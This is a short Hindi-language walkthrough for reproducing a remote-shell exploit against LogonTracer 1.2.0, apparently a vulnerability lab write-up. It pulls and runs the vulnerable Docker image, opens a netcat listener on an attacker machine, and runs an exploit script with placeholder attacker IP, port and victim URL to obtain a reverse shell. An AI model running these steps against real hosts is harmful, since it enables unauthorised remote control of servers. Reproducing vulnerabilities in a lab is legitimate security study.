स्थापना और निष्पादन का क्रम

0. LogonTracer स्थापित करें

जिस संस्करण में कमज़ोरी पाई गई थी, उस 1.2. 0 संस्करण के logontracer को dockerhub से डाउनलोड करें।

 $docker pull jpcertcc/docker-logontracer:v1.2.0 

1. LogonTracer चलाएँ

निम्नलिखित कमांड से कंटेनर को चालू करें।

 $docker run \
   --detach \
   --publish=7474:7474 --publish=7687:7687 --publish=8080:8080 \
   -e LTHOSTNAME=[IP_ADDR] \
   jpcertcc/docker-logontracer:v1.2.0

2. शेल प्राप्त करने के लिए होस्ट पर nc

जिस होस्ट से शेल प्राप्त करना है, उस होस्ट के एक विशिष्ट पोर्ट को nc का उपयोग करके खोलें।

 
PS C:\Users\0ppr2s\Desktop\main\nc> .\nc64.exe -lvp {attacker_port}
listening on [any] 8888 ...

3. आक्रमण कोड चलाएँ

आक्रमण कोड चलाएँ।

 
dnr6419@DESKTOP-4CJA7LD ~/docker/logon
☺  python3 go.py {attacker_ip} {attacker_port} http://{victime_ip}:8080

निष्पादन परिणाम

जैसा कि नीचे चित्र में दिखाया गया है, आक्रमण कोड सफलतापूर्वक चलता है और आप रिमोट शेल प्राप्त कर सकते हैं।